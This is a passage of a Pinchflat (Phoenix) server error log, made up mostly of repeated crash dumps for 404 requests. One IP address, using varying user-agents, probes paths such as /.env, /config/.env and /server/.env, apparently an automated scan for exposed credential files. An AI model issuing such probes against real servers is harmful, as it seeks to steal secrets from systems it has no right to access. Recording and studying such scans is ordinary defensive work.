46136}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5 (truncated) 04:52:49.706 [debug] QUERY OK source="settings" db=4.0ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.703 [error] #PID<0.138991.0> running PinchflatWeb.Endpoint (connection #PID<0.138989.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138989.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46122}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138991.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3jJnSodvwADCfC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138989.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46122}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138989.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46122}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-plat (truncated) 04:52:49.706 [info] GET /core/.env 04:52:49.703 [error] #PID<0.138997.0> running PinchflatWeb.Endpoint (connection #PID<0.138996.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /web/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138997.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3vafJQkWsADCfi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", " (truncated) 04:52:49.704 [error] #PID<0.139000.0> running PinchflatWeb.Endpoint (connection #PID<0.138993.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139000.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN33gJXxAEUAACqk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138 (truncated) 04:52:49.704 [error] #PID<0.138995.0> running PinchflatWeb.Endpoint (connection #PID<0.138994.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /server/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138994.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46166}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138995.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3qrS1xrxgAAHpD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138994.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46166}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138994.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46166}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138995.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "r (truncated) 04:52:49.702 [error] #PID<0.138987.0> running PinchflatWeb.Endpoint (connection #PID<0.138982.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env 